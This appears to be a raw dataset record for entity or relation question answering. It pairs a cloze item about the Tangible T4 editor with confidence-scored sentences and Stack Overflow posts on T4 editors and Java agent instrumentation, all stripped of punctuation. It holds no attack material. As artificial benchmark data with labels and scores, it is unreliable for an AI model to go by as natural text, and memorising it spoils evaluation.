byte-buddy which offers easier access to the instrumentation API : .. . .. . The above agent can be invoked from the agentmain or premain method . You can also disable class file-format changes and redefine existing classes in case that the class is already potentially loaded during attachment . Comment : It s the class pool problem add cp.appendClassPath new LoaderClassPath loader and works really thank you and byte-buddy looks cool . would upvote if i had enough rep .", "Question : I m trying to set a new agent using : .. . .. . When I run I see the java usage message . MANIFEST.MF : .. . Answer : Did you read the java command documentation class or -jar file.jar arguments are mandatory . You are running the java command but you are not providing the mandatory command-line parameters . Hence the behavior that you experienced . Comment : What command should I run Comment : You should run javac first . Then after the build is completed you should run : java YOUR CLASS NAME HERE", "Question : I implemented a javaagent and need to access some resource files within the agent s jar file . eg : log4j.properties file keystore .jks file etc . If I put them in the resource folder under src main they get included in the agent jar . Agent JAR .. . .. . log4j.properties .. . META-INF .. . agentFolder .. . .. . But how can I access those files during run time of the agent How can I give the path to those files within agent s project files . Little explanation would be highly appreciated . If it is not possible I would like to have some suggestions on how to access those configuration file more effectively . Since the agent will be running on different products I though that giving a folder structure would be inappropriate . .. . Answer : A Java agent is just another Java program . The jar file containing your agent ends up on the class path and can therefore be accessed just like any other resource . For example try MyAgent.class.getResource log4j.properties to get hold of such a file . This should work as expected in any Java program and work on any platform . Comment : I have tried it by adding the properties file to resources folder . But it prints logs only for the class with premain method . In MyClassFileTransformer it says no appenders can be found . Can you explain why is that Comment : Of course you can . But your question was about how to access these ressources . The answer is : As if you put the agent jar on the class path . Comment : But when I add only the log4j properties file to resources it prints logs only for the class with premain method . In MyClassFileTransformer it says no appenders can be found . Can you explain why is that Comment : Are you registering your ClassFileTransformer from another place in your application that the premain method Maybe the system class loader is not visible to that other code s class loader . Comment : I am just using the addTransformer in the class which contain premain and the class which implements ClassFileTransformer is in another class . Since I am using org.apache.commons.logging if I add commons-logging.properties file then it work for that also . But is it correct", "Question : I am developping a Java agent which is using some classes from tools.jar via reflection like com.sun.tools.javac.util.Options . For testing my agent I am setting set JAVA TOOL OPTIONS -javaagent : path-to-my-agent-jar and launching a build on a simple gradle project to which the java agent will be hooked . I have added tools.jar to the classpath of the gradle project and checked that is correctly added to the classpath . My agent is correctly hooked to the build-process . My problem seems to be that the agent has no access to the classloader s used for building so he could not find classes from tools.jar and raises .. . .. . Is there anyway I can add tools.jar to my java agent Thanks in advance Comment : tools.jar is part of the JDK libraries . Is your application launched with a JDK Comment : Yes In fact I am hooking my agent to gradle : my agent is hooking on methods of classes from tools.jar used for compiling java source code . .. . Answer : I Found a solution . We have two java applications : the gradle which will be building a gradle project and the javaagent that is hooked to the first java application . Both of them are living in the same JVM but each of them is using it s classloader . Because of that the classes of tools.jar are accessible in the gradle project and not in the java agent . The idea is to use the classloader of the gradle application from the agent . For this we we have to access of one of the object created inside the gradle project from within the java agent . Actually I am accessing it via bytecode enhancement . if objectFromFirstApp is from the gradle application I can access to tools.jar via objectFromFirstApp.getClass .getClassLoader .load ClassName .", "Question : I am new in the realm of debuggers instrumentation and JVMTI . So I have few questions about them . 1 . What is the difference between JDI java debugger interface JWDP javaagent and native agent JVMTI . and where does the java instrumentation API fit in picture . 2 . I am using JDI to intercept exceptions in target java application . but I found out that JDI is not good enough if we talk about how it impacts the performance of target app . I read that most good applications does this with combining JVMTI with byte code instrumentation . But I can t understand how byte code instrumentation can be used with JVMTI . So how can we do byte code instrumentation along with JVMTI any example will be helpful . 3 . Can we instrument both byte code and machine code in java 4 . Can static byte code-analysis be used along with JVMTI . If yes then how If any question is irrelavent or wrong let me know . .. . Answer : 1 - I think that this site explains the distinction pretty well : http : docs.oracle.com javase 1.5.0 docs guide jpda architecture.html - these are basically 3 layers of abstraction built on top of each other with JVMTI interfacing directly with the running JVM then JDWP being used as a communication protocol then JDI as an interface to that remote JVM . You can use a javaagent to perform bytecode instrumentation orthogonal to the implementation of these 3 things . 2 - I think that the most performant way to do this would be to instrument all code to add a try-catch in each method to handle an exception - when the exception is caught you handle it however you wanted to then re-throw it . The easiest way to do instrumentation is with the javaagent approach then using javaassist or asm or whatever . You can instrument bytecode from JVMTI too but it is much more cumbersome . If you only care about specific exceptions namely those that are explicitly thrown and not those that are thrown internally by the interpreter like NullPointerException ArrayIndexOutOfBoundsException etc then the easiest way to handle these would be to intercept ATHROW instructions the instruction used to throw an exception . I have no specific experience but it might be reasonable to create a JVMTI agent that is registered for the Exception event http : docs.oracle.com javase 7 docs platform jvmti jvmti.html Exception but I am not sure of its performance could be just as slow as your JDI approach could be better . 3 - No : you can only instrument bytecode running in Java . If you wanted to instrument the machine code you could try to do that with something like pin but I think this is probably getting way out of hand for what you are looking for . 4 - Sure : what sort of static-analysis are you interested in You could certainly use something like soot and also use JVMTI . Comment : Thanks a lot for your answer . About the static-analysis My use-case is only that if I can find out pieces of code which can throw any exceptions without actually running the target application . Anyway I am not going to use byte code-analysis in near future . I was just curios if byte code-analysis can be done using JVMTI . If you could point out to some tutorial for this that will be helpful . I already searched google for this but couldn t find anything . Thanks . Comment : If all that you are interested in is the exact site that could throw the exception e.g . throw new MyException then you could use ASM to simply detect the ATHROW instruction and then emit some instrumentation around it . However if your goal is to more broadly find all possible call sites that might call code that might throw an exception then you need to build a static call-graph . And for that I d turn to soot https : sable.github.io soot .", "Question : I am developping a Java agent which is using some classes from tools.jar via reflection like com.sun.tools.javac.util.Options . For testing my agent I am setting set JAVA TOOL OPTIONS -javaagent : path-to-my-agent-jar and launching a build on a simple gradle project to which the java agent will be hooked . I have added tools.jar to the classpath of the gradle project and checked that is correctly added to the classpath . My agent is correctly hooked to the build-process . My problem seems to be that the agent has no access to the classloader s used for building so he could not find classes from tools.jar and raises .. . .. . Is there anyway I can add tools.jar to my java agent Thanks in advance Comment : tools.jar is part of the JDK libraries . Is your application launched with a JDK Comment : Yes In fact I am hooking my agent to gradle : my agent is hooking on methods of classes from tools.jar used for compiling java source code . .. . Answer : Import jdk to your build path in project properties.In eclipse Properties -- Java Build Path -- Libraries i.e ... . Java jdk1.7.0 79 lib tools.jar will be present here Comment : I don t want to have a direct dependency to tools.jar for practical reasons . my aim is to add it to the client application on which my agent will be hooked ." ] }
[ "yes-answer-long", "yes-answer-short" ]
java
UNK_RELATION
tangible-t4-editor@toolkit@76
tangible-t4-editor -- tangible-t4-editor is a text template transformation @placeholder editor for visual-studio .
{ "confidence": [ 96.9505386352539, 96.86137390136719, 90.71198272705078, 86.2687759399414, 82.73298645019531, 82.38227844238281, 81.11553955078125, 79.93232727050781, 78.25595092773438, 76.99934387207031, 75.49868774414062, 75.14871978759766, 75.14871978759766, 74.9954833984375, 68.55957794189453, 66.19409942626953, 65.1216049194336, 64.2952880859375, 64.1218032836914, 64.1218032836914, 63.405113220214844, 63.16364669799805, 62.876548767089844, 62.18354034423828, 61.13508605957031, 60.153472900390625, 58.197021484375, 57.83564758300781, 55.35659408569336, 54.07958984375, 54.02194595336914, 52.67487335205078, 49.73077392578125, 48.325538635253906, 48.28655242919922, 47.68562316894531, 47.15961456298828, 46.556640625, 46.01813507080078, 45.389957427978516, 45.299964904785156, 44.89155578613281, 44.89155578613281, 44.89155578613281, 44.89155578613281, 44.89155578613281, 44.74982452392578, 44.56605529785156, 43.6991081237793, 43.65919876098633, 43.19092559814453, 43.19092559814453, 43.19092559814453, 42.07938003540039, 42.07938003540039, 42.031620025634766, 41.8133430480957, 41.760841369628906, 40.90503692626953, 40.4400749206543, 40.4400749206543, 40.40028381347656, 40.34644317626953, 40.34644317626953, 39.97195816040039, 39.463443756103516, 39.23992156982422, 39.20440673828125, 39.20440673828125, 39.20440673828125, 39.20440673828125, 38.29621124267578, 38.29621124267578, 38.29621124267578, 38.26906204223633, 37.82682800292969, 37.82682800292969, 37.77432632446289, 37.77432632446289, 37.77432632446289, 37.77432632446289, 36.41376876831055, 36.175785064697266, 36.175785064697266, 36.175785064697266, 36.175785064697266, 36.175785064697266, 35.39889144897461, 34.71841812133789, 34.71841812133789, 34.309696197509766, 34.309696197509766, 34.309696197509766, 34.309696197509766, 34.309696197509766, 34.309696197509766, 33.432395935058594, 33.37250518798828, 32.9124755859375, 32.69441604614258 ], "content": [ "Tangible T4 Editor is v1.950 .", "Use Tangible T4 Editor instead .", "VisualStudioHelper is a custom class from Tangible T4 Editor .", "Tangible T4 Editor http : t4-editor.tangible-engineering.com T4-Editor-Visual-T4-Editing.html .. . .. . The first time I attempted to use this I thought Visual Studio 2010 had crashed .", "I m looking at : .. . .. . Tangible T4 Editor Professional .. . Clarius Visual T4 Editor Professional .. . .. . They both have the same price tag 100 .", "The templates with the SubType Designer SubType element will not open in the tangible-t4-editor by default .", "In order to use this class install Tangible T4 Editor for your Visual Studio and then : .. . .. . 1 .", "Open Tangible T4 menu in Visual Studio and then click Template Gallery .", "I installed the tangible-t4-editor extension in vs2010 that gives some basic syntax colouring for t4 templates .tt .", "I know VisualStudioHelper from tangible s T4 Editor http : t4-editor.tangible-engineering.com T4-Editor-Visual-T4-Editing.html .", "DevArt has released a T4 editor add-on for Visual Studio http : www.devart.com t4-editor .", "The tangible T4 Editor is now available for VS2010 RTM http : visualstudiogallery.msdn.microsoft.com en-us 60297607-5fd4-4da4-97e1-3715e90c1a23", "I currently use tangible free T4 tool editor and TextTemplatingFileGenerator as a Custom Tool .", "Here is my problem : When I do Add New Item as in the video here http : t4-editor.tangible-engineering.com T4-Editor-Visual-T4-Editing.html I don t see any of the Tangible templates .", "There is a pro-feature in tangible T4 Editor called Transform On Build which allows you to mark a template as transform on build in solution explorers property grid .", "T4 Editor for 2010 assumes you use the default template Text Template that is installed with VS2010 itself .", "Devart just released a free T4 Editor for 2k8 and 2010 on the Visual Studio gallery .", "Why others when T4 Editor from Tangible is mostly used therefore is probably most feature complete stable and does the job .", "After I install Tangible s T4 editor the template fails with several errors .", "If I then uninstall Tangible s T4 editor the template works again .", "I m interested in purchasing a full features T4 editor .", "The path specified does not belong to tangible t4 .", "The reason I have done this is because no matter which extension I try Devart T4 Tangible-T4 or Visual T4 none are as good as the intellisense and support offered by Visual Studio s C editor so writing the code generation in pure C improves the experience a lot .", "Most links i find reference to tangible s T4 Editor .", "So it would seem something about the editor changes the behavior of T4 in Visual Studio .", "You could try Clarius Visual T4 Editor Community edition http : www.visualt4.com downloads.html", "It s : .. . .. . But this breaks DevArt T4 Editor intellisense and syntax highlight in VS2008 plugin .", "Nagware intellisense failures the search replace dialog is awful I could go on... . Also the T4 Toolbox is not an editor it is designed to support T4 development .", "I looked at this : T4 transformation and build order in Visual Studio http : stackoverflow.com questions 1293320 t4-transformation-and-build-order-in-visual-studio .. . .. . this isn t what I want .", "Choose from the directory tree : Tangible Visual Studio CodeModel .", "That s not exactly providing any syntax-highlighting and editor intellisense or anything like that... . great toolkit - but definitely no editor add-on to make working with T4 files easier... .", "Edit : The template you should be looking for in the gallery is named tangible Visual Studio Automation Helper", "In VS2010 we only provide the Editor as of now and VS itself comes with a Template Called Text Template in the normal add dialog .", "I m using the tangible T4 example from the documentation and pull the classes as followed : .. . .. . And the methods : .. . .. . Here is how I initialize project and codeClass : .. . .. . This works except that I don t get all methods from the class .", "Clarius editor sucks .", "I am trying to create a T4 Template for a custom controller with services .", "Clarius Visual T4 http : www.visualt4.com .", "In both cases it looks like you are trying to use a T4 template in your Visual Studio project and use the TextTemplatingFileGenerator as the custom tool to generate the code from the template .", "Received this response from Tangible rep -- ...everything is alright with your install .", "There is intellisense in the t4 blocks and in the t4 statement blocks the intellisense feels a little kludgy but its not too bad .", ".. . .. . For instance I m thinking about creating a T4 Template that essentially turns a class defined in a solution into a template generator .", "VS Extension Manager indicates that the editor is installed and enabled .", "I m using Tangible s editor and no offense guys it sucks .", "First noticeable improvement is that the editor is fast compared to others .", "Look and feel is like a normal code editor .", "And the editor works with the standard find replace tool window .", "See : http : t4-editor.tangible-engineering.com blog transforming-t4-templates-on-build.html", "I installed Visual Studio SDK 2012 http : www.microsoft.com en-us download details.aspx id 30668 Visual Studio Visualization and Modeling SDK 2012 http : www.microsoft.com en-us download details.aspx id 30680 .. . .. . I started with using the Tangible T4 plug in but thinking there was a problem with that I used Oleg s T4 Toolbox Beta .", "When I add a t4-template via the wizard it opens with syntax colouring .", "T4 and ttinclude can be changed .", "such as Model.ModelType are setup on the custom host and the dynamic model object before it is passed to the T4 template for processing .", "Create a custom scaffolding T4 template and use the NuGet Package Manager console to generate your custom controller .", "Create your own custom tool that initializes a custom host that can be used from your T4 template .", "Additional player in this field .. . .. . There s also Devart s T4 editor http : visualstudiogallery.msdn.microsoft.com a42a8538-8d6e-491b-8097-5a8a00174d37 available since summer 2011 and it s free and support syntax-highlighting as well as intellisense .", "Please vote connect.microsoft.com VisualStudio feedback details 565760 https : connect.microsoft.com VisualStudio feedback details 565760 please-take-pity-on-us-give-us-a-decent-t4-editor", "While tangible does color coding for output languages also .", "BTW I looked around some more found the T4 Toolbox installed that and still see no new templates for Tangible or the toolbox .", "T4 Toolbox http : t4toolbox.codeplex.com doesn t support 2010 RC just yet .", "This is why I am looking for a VS2010 compatible editor .", "If you use the NuGet package manager console with your custom T4 scaffolding template then it should work but it will not work with the TextTemplatingFileGenerator custom tool .", "Create a custom ASP.NET MVC T4 template and use the ASP.NET tooling to generate your custom controller using the Add Controller dialog .", "In both the above cases the use of the T4 templates with the TextTemplatingFileGenerator is not going to work since they use a custom templating host that needs to be initialized before it can be used by the T4 templates .", "Are there any other T4 editors I missed", "Check out the T4 Toolbox http : t4toolbox.codeplex.com .", "I m trying to use PGK.Extensions http : dnpextensions.codeplex.com in a T4 template in VS2008 for VB.NET and I get : .. . .. . RemoveAllSpecialCharacters is not a member of string. . .. . .. . My T4 headers : .. . .. . Use of extension in block code : .. . .. . RemoveAllSpecialCharacters is a string extension method from PGK.Extensions.dll .", "I tried to follow this tutorial : http : t4-editor.tangible-engineering.com blog how-to-generate-multiple-output-files-from-a-single-t4-template.html .. . .. . with visual-studio-2015 .Net 4.5 .. . .. . Sample project with error : http : www.filedropper.com t4fail .. . .. . .. . .. . I created the Template1.tt with the following source : .. . .. . I added TemplateFileManagerV2.1.ttinclude from template gallery to my project .", "As one person said : It appears Tangible Engineering @tangibleeng has adopted a crack-dealer business model like other plug-in vendors .", "The problem arises when one adds a t4-template without using the wizard - no syntax colouring .", "I can get my T4 template to generate a file by : right-click tt file run Custom tool .", "If you need access the current project you may try this : .. . .. . Don t forget to import the assembly at the top of your T4 template :", "It is free and comes with a template gallery providing useful T4 templates you can include in yours e.g .", "I installed the free Tangible T4 Editor from the VS Gallery and shut down restarted VS .", "Another option is to use the T4 Toolbox from Oleg which now supports VS2010 RC .", "Does anybody have any tips tricks on creating T4 templates in a non-painful way", "@qstarin : I m anxiously awaiting the VS2010 version of the Clarius editor myself... .", "Tangible also has things like UML diagrams etc but I didn t care much about that .", "Tangible supports coloring for a large variety of languages C VB xaml xml css sql php etc.. .", "It s worth it if you find yourself doing much with T4 .", "I don t think that purpose of T4 and its includes is to offer .NET philosophy .", "What should I install include in my t4 for making VisualStudioHelper available", "This seems to be a custom thing and not something that is built into T4 templating-engine .", "then I found this : Understanding T4 : MSBuild Integration http : www.olegsych.com 2010 04 understanding-t4-msbuild-integration .. . .. . from Oleg Sych s blog http : www.olegsych.com : .. . .. . Perfect", "As of now the best thing you can do is to visit olegsych.com and learn from the articles there about T4 and also look at our How Do I Videos .", "It says to clear the Custom tool but I was wondering how I can view the generated T4 file if I do clear the tool", "If you can figure out where the DynamicTransform class is define you can reference that assembly in T4 like this : @ assembly name SolutionDir bin Debug TheDynamicTransformAssembly.dll", "1 : The MvcTextTemplatingHost is a custom T4 host that is only available when you use the ASP.NET MVC Add View or Add Controller dialogs .", "2 : Steve Sanderson s MvcScaffolding T4Scaffolding uses its own custom T4 host so you have a similar problem here .", "Like this SO answer that almost does what I want .. . .. . get-all-methods-that-are-decorated-with-a- 20specific-attribute-using-t4-envdte http : stackoverflow.com questions 16197422 get-all-methods-that-are-decorated-with-a- 20specific-attribute-using-t4-envdte .. . .. . Problem is I cant find the methods he is using like GetAllCodeElementsOfType .. . .. . I am using this template", "After closing the file and using the open with menu and choosing the default : automatic editor selection it opens with xml file syntax colouring .", "Turns out I didn t wait long enough it took over 2 minutes for the editor window to appear .", "I find it very useful to see both the T4 C code and the output code to be colored .", "You can copy ttinclude and create small change and include it in the main T4 per project basics .", "I am still partially using T4 templates my assembly defines classes derived from TextTransformation .", "I don t want to lose the T4 scripting syntax so I ve changed the approach I m going for .", "You can always ask MS to properly implement extension-methods in T4 templates : D .. .", "It also works if I run the menu command : Build Transform All T4 Templates .", "That said : We wrote a Blog-Post http : blog.aitgmbh.de 2015 08 07 executing-text-transformation-toolkit-templates-t4-within-the-continuous-build-process about this scenario and published the Tool Source Code https : github.com AITGmbH VisualStudioTextTransform as well .", "Another option if you really want to use extension-methods that way is to write your T4 template in C but still have it output VB.Net code if you don t have any restrictions on the language .", "Thanks for looking.. . .. . .. . To recap : I get an error when I build in visual-studio-2012 or when I run the msbuild from the command-line but again not when I run Custom Tool or use the manual Transform All T4 Templates - Both of those work fine .", "This will transform the template each time you build within Visual Studio not build-server ." ] }
{ "confidence": [ 111.35882568359375, 107.0912857055664, 104.69223022460938, 102.65333557128906, 101.6511001586914, 100.449462890625, 99.72256469726562, 98.68238067626953, 98.34224700927734, 97.13933563232422, 92.19671630859375, 92.00213623046875, 90.3091812133789, 88.09527587890625, 79.4645004272461, 78.59424591064453, 77.77638244628906, 76.18630981445312, 70.5291519165039, 67.77771759033203 ], "content": [ "Question : I installed the free Tangible T4 Editor from the VS Gallery and shut down restarted VS . I run on XP under an Administrator account . VS Extension Manager indicates that the editor is installed and enabled . Here is my problem : When I do Add New Item as in the video here http : t4-editor.tangible-engineering.com T4-Editor-Visual-T4-Editing.html I don t see any of the Tangible templates . What have I missed BTW I looked around some more found the T4 Toolbox installed that and still see no new templates for Tangible or the toolbox . Thanks Comment : Received this response from Tangible rep -- ...everything is alright with your install . Indeed some of the guidance is reffer ng to the VS2008 Version which comes with more templates and UML Tools . In VS2010 we only provide the Editor as of now and VS itself comes with a Template Called Text Template in the normal add dialog . We are adding more features to vS2010 version soon to achieve feature parity . As of now the best thing you can do is to visit olegsych.com and learn from the articles there about T4 and also look at our How Do I Videos . .. . Answer : The tangible T4 Editor is now available for VS2010 RTM http : visualstudiogallery.msdn.microsoft.com en-us 60297607-5fd4-4da4-97e1-3715e90c1a23", "Question : I m trying to do some experiments with generating code from VS2012 projects but I cannot make this piece of t4 code to work .. . .. . since VisualStudioHelper cannot be found . What should I install include in my t4 for making VisualStudioHelper available Comment : Found it @ github.com PombeirP T4Factories blob master T4Factories.Testbed https : github.com PombeirP T4Factories blob master T4Factories.Testbed CodeTemplates VisualStudioAutomationHelper.ttinclude .. . Answer : VisualStudioHelper is a custom class from Tangible T4 Editor . In order to use this class install Tangible T4 Editor for your Visual Studio and then : .. . .. . 1 . Open Tangible T4 menu in Visual Studio and then click Template Gallery . 2 . Click Update Now icon from left-down corner . 3 . Choose from the directory tree : Tangible Visual Studio CodeModel . 4 . In the files menu right mouse button on Walking the Visual Studio Code Model and choose Add to Solution.. . .. . 5 . Choose VisualStudioHelper.ttinclude . 6 . In your .tt file refer to VisualStudioHelper as following : .. . .. . @ include file VisualStudioHelper.ttinclude", "Question : I installed the free Tangible T4 Editor from the VS Gallery and shut down restarted VS . I run on XP under an Administrator account . VS Extension Manager indicates that the editor is installed and enabled . Here is my problem : When I do Add New Item as in the video here http : t4-editor.tangible-engineering.com T4-Editor-Visual-T4-Editing.html I don t see any of the Tangible templates . What have I missed BTW I looked around some more found the T4 Toolbox installed that and still see no new templates for Tangible or the toolbox . Thanks Comment : Received this response from Tangible rep -- ...everything is alright with your install . Indeed some of the guidance is reffer ng to the VS2008 Version which comes with more templates and UML Tools . In VS2010 we only provide the Editor as of now and VS itself comes with a Template Called Text Template in the normal add dialog . We are adding more features to vS2010 version soon to achieve feature parity . As of now the best thing you can do is to visit olegsych.com and learn from the articles there about T4 and also look at our How Do I Videos . .. . Answer : T4 Editor for 2010 assumes you use the default template Text Template that is installed with VS2010 itself . Another option is to use the T4 Toolbox from Oleg which now supports VS2010 RC . Additional templates will be available in the editors template gallery at RTM of VS2010 .", "Question : I m trying to do some experiments with generating code from VS2012 projects but I cannot make this piece of t4 code to work .. . .. . since VisualStudioHelper cannot be found . What should I install include in my t4 for making VisualStudioHelper available Comment : Found it @ github.com PombeirP T4Factories blob master T4Factories.Testbed https : github.com PombeirP T4Factories blob master T4Factories.Testbed CodeTemplates VisualStudioAutomationHelper.ttinclude .. . Answer : I know VisualStudioHelper from tangible s T4 Editor http : t4-editor.tangible-engineering.com T4-Editor-Visual-T4-Editing.html . It is free and comes with a template gallery providing useful T4 templates you can include in yours e.g . for accessing Visual Studio functionality or project configuration etc . Maybe you should have a look there . Edit : The template you should be looking for in the gallery is named tangible Visual Studio Automation Helper", "Question : I don t use T4 templates often usually when I do it is editing those of other projects specifically SubSonic T4MVC . The experience is always quite unpleasant and this is certainly why I don t use them more often . These are the tools I know of and neither of them quite fit the bill . 1 . Clarius Visual T4 http : www.visualt4.com . Does not support Visual Studio 2010 . Their blog mentions work ongoing but that was 2 months ago with no updates since . Their support forum is filled with spam and questions about when VS2010 will be supported . Most of the projects I work on are in Visual Studio 2010 and the templates I deal with require themselves to be run in the Visual Studio host as they access project information through VS s automation object-model . This is why I am looking for a VS2010 compatible editor . 2 . Tangible T4 Editor http : t4-editor.tangible-engineering.com T4-Editor-Visual-T4-Editing.html .. . .. . The first time I attempted to use this I thought Visual Studio 2010 had crashed . Turns out I didn t wait long enough it took over 2 minutes for the editor window to appear . Call me picky but this alone puts me off of this tool . I have a modified T4MVC template that works . After I install Tangible s T4 editor the template fails with several errors . If I then uninstall Tangible s T4 editor the template works again . So it would seem something about the editor changes the behavior of T4 in Visual Studio . Perhaps obviously that s entirely unacceptable . Are there any other T4 editors I missed Does anyone else use these tools encounter these same issues and successfully work with them I should also say the most important feature for me is simply to distinguish between code that runs as part of the template and code text that gets output . Everything else is gravy . Comment : No I think you have both serious contenders listed there already . Comment : @marc s : ya pretty sure that s the situation . This question is sort of a last-ditch effort to find something else . Comment : @qstarin : I m anxiously awaiting the VS2010 version of the Clarius editor myself... . Comment : @marc s : I was too until I saw the state of things over there . They can t even be bothered to clean the spam out of their support forum how can I have any real expectation of a new working version when questions about it go answered for half a year while spam piles up . Comment : Why others when T4 Editor from Tangible is mostly used therefore is probably most feature complete stable and does the job . I use it and works fine . .. . Answer : DevArt has released a T4 editor add-on for Visual Studio http : www.devart.com t4-editor . It is free and it works well . They do not appear to have a version for Visual Studio 2012 yet however . I have also come across a ReSharper plugin for editing T4 files https : github.com MrJul ForTea but I have not used it and cannot comment on how well it works or does not .", "Question : I don t use T4 templates often usually when I do it is editing those of other projects specifically SubSonic T4MVC . The experience is always quite unpleasant and this is certainly why I don t use them more often . These are the tools I know of and neither of them quite fit the bill . 1 . Clarius Visual T4 http : www.visualt4.com . Does not support Visual Studio 2010 . Their blog mentions work ongoing but that was 2 months ago with no updates since . Their support forum is filled with spam and questions about when VS2010 will be supported . Most of the projects I work on are in Visual Studio 2010 and the templates I deal with require themselves to be run in the Visual Studio host as they access project information through VS s automation object-model . This is why I am looking for a VS2010 compatible editor . 2 . Tangible T4 Editor http : t4-editor.tangible-engineering.com T4-Editor-Visual-T4-Editing.html .. . .. . The first time I attempted to use this I thought Visual Studio 2010 had crashed . Turns out I didn t wait long enough it took over 2 minutes for the editor window to appear . Call me picky but this alone puts me off of this tool . I have a modified T4MVC template that works . After I install Tangible s T4 editor the template fails with several errors . If I then uninstall Tangible s T4 editor the template works again . So it would seem something about the editor changes the behavior of T4 in Visual Studio . Perhaps obviously that s entirely unacceptable . Are there any other T4 editors I missed Does anyone else use these tools encounter these same issues and successfully work with them I should also say the most important feature for me is simply to distinguish between code that runs as part of the template and code text that gets output . Everything else is gravy . Comment : No I think you have both serious contenders listed there already . Comment : @marc s : ya pretty sure that s the situation . This question is sort of a last-ditch effort to find something else . Comment : @qstarin : I m anxiously awaiting the VS2010 version of the Clarius editor myself... . Comment : @marc s : I was too until I saw the state of things over there . They can t even be bothered to clean the spam out of their support forum how can I have any real expectation of a new working version when questions about it go answered for half a year while spam piles up . Comment : Why others when T4 Editor from Tangible is mostly used therefore is probably most feature complete stable and does the job . I use it and works fine . .. . Answer : Check out the T4 Toolbox http : t4toolbox.codeplex.com . Comment : That s not exactly providing any syntax-highlighting and editor intellisense or anything like that... . great toolkit - but definitely no editor add-on to make working with T4 files easier... . Comment : Thanks but as marc s said nothing there helps solve my problem .", "Question : I installed the free Tangible T4 Editor from the VS Gallery and shut down restarted VS . I run on XP under an Administrator account . VS Extension Manager indicates that the editor is installed and enabled . Here is my problem : When I do Add New Item as in the video here http : t4-editor.tangible-engineering.com T4-Editor-Visual-T4-Editing.html I don t see any of the Tangible templates . What have I missed BTW I looked around some more found the T4 Toolbox installed that and still see no new templates for Tangible or the toolbox . Thanks Comment : Received this response from Tangible rep -- ...everything is alright with your install . Indeed some of the guidance is reffer ng to the VS2008 Version which comes with more templates and UML Tools . In VS2010 we only provide the Editor as of now and VS itself comes with a Template Called Text Template in the normal add dialog . We are adding more features to vS2010 version soon to achieve feature parity . As of now the best thing you can do is to visit olegsych.com and learn from the articles there about T4 and also look at our How Do I Videos . .. . Answer : T4 Toolbox http : t4toolbox.codeplex.com doesn t support 2010 RC just yet . Stay tuned . Comment : Awesome news Oleg thanks I would upvote you but I don t have enough points yet :", "Question : I installed the tangible-t4-editor extension in vs2010 that gives some basic syntax colouring for t4 templates .tt . When I add a t4-template via the wizard it opens with syntax colouring . After closing the file and double-clicking it opens again with syntax colouring . After closing the file and using the open with menu and choosing the default : automatic editor selection it opens with xml file syntax colouring . That s strange because I always assumed that double-click equals the default open with menu item . Do you know what s going on The problem arises when one adds a t4-template without using the wizard - no syntax colouring . .. . Answer : The solution that I know of is to edit the project file . The templates with the SubType Designer SubType element will not open in the tangible-t4-editor by default . Change from this .. . .. . to this", "Question : I m interested in purchasing a full features T4 editor . I m looking at : .. . .. . Tangible T4 Editor Professional .. . Clarius Visual T4 Editor Professional .. . .. . They both have the same price tag 100 . Clarius product seems a bit more feature rich but is it really And if it is is it then more memory hungry as it s usual with rich Visual Studio plugins.. . What about Visual Studio support Additional player in this field .. . .. . There s also Devart s T4 editor http : visualstudiogallery.msdn.microsoft.com a42a8538-8d6e-491b-8097-5a8a00174d37 available since summer 2011 and it s free and support syntax-highlighting as well as intellisense . Comment : I used the freeware version of both one of them completely broke my VS . I suggest you test both . Comment : yes but the free community editions don t have all of the functionality of the Pro . Hence my question . Comment : I didn t have the same experience . I found the trial of both products to run quite well without any problems . Comment : Please vote connect.microsoft.com VisualStudio feedback details 565760 https : connect.microsoft.com VisualStudio feedback details 565760 please-take-pity-on-us-give-us-a-decent-t4-editor .. . Answer : Chris already said a lot truth . I only want to add one thing : I think that clarius does still not color-code output code . While tangible does color coding for output languages also . I find it very useful to see both the T4 C code and the output code to be colored . Tangible supports coloring for a large variety of languages C VB xaml xml css sql php etc.. .", "Question : I m trying to use PGK.Extensions http : dnpextensions.codeplex.com in a T4 template in VS2008 for VB.NET and I get : .. . .. . RemoveAllSpecialCharacters is not a member of string. . .. . .. . My T4 headers : .. . .. . Use of extension in block code : .. . .. . RemoveAllSpecialCharacters is a string extension method from PGK.Extensions.dll . Can anybody help me EDITED : .. . .. . OK . It s : .. . .. . But this breaks DevArt T4 Editor intellisense and syntax highlight in VS2008 plugin . Use Tangible T4 Editor instead . .. . Answer : Had a hard time getting this to work myself even with the blog post found here http : blogs.msdn.com b garethj archive 2008 10 30 using-extension-methods-in-t4-templates.aspx also referenced by @jlvaquero in a comment above . what finally worked for me was using the visual-studio macro vars http : msdn.microsoft.com en-us library c02as0cs.aspx then import the namespace", "Question : I m using Tangible s editor and no offense guys it sucks . Its one painful step above notepad . But its afaik the only game in town . Does anybody have any tips tricks on creating T4 templates in a non-painful way .. . .. . For instance I m thinking about creating a T4 Template that essentially turns a class defined in a solution into a template generator . DTE look for code that is marked with this or that attribute run this or that method and drop the results into a file . At least I d get legit intellisense out of the deal.. . Comment : Hah Nice play on the classics with that title . Comment : Yeah it s really annoying to get ProVersionOnly in the intellisense where a member name should be . Such intentionally broken software basically forces me to bar myself from ever contributing a single penny to their company or anyone associated with it . As one person said : It appears Tangible Engineering @tangibleeng has adopted a crack-dealer business model like other plug-in vendors . The FREE version doesn t support all of the C language . It does provide enough though for developers to decide if they need to to pay 99.98 USD for the PRO edition . .. . Answer : Devart just released a free T4 Editor for 2k8 and 2010 on the Visual Studio gallery . http : visualstudiogallery.msdn.microsoft.com a42a8538-8d6e-491b-8097-5a8a00174d37 Looks nice First noticeable improvement is that the editor is fast compared to others . Look and feel is like a normal code editor . There is intellisense in the t4 blocks and in the t4 statement blocks the intellisense feels a little kludgy but its not too bad . And the editor works with the standard find replace tool window . Altogether nice job . Devart http : www.devart.com I am not associated with Devart in any way and this is the first product of theirs I ve used .", "Question : I m using VisualStudio Ultimate 2012 Update 1 on Windows 7 . I can get my T4 template to generate a file by : right-click tt file run Custom tool . That works great yay for me . It also works if I run the menu command : Build Transform All T4 Templates . But I want automation I run into a problem when I try to get the generated code file to be produced with every build -- which is my goal . I looked at this : T4 transformation and build order in Visual Studio http : stackoverflow.com questions 1293320 t4-transformation-and-build-order-in-visual-studio .. . .. . this isn t what I want . It discusses using a pre-build build event . I wanted it to be part of the build . and this : Is there a way to get Visual Studio to run Transform All Templates upon a successful build http : stackoverflow.com questions 3427079 is-there-a-way-to-get-visual-studio-to-run-transform-all-templates-upon-a-succ .. . .. . this isn t what I wanted either . It discusses using a post-build event . then I found this : Understanding T4 : MSBuild Integration http : www.olegsych.com 2010 04 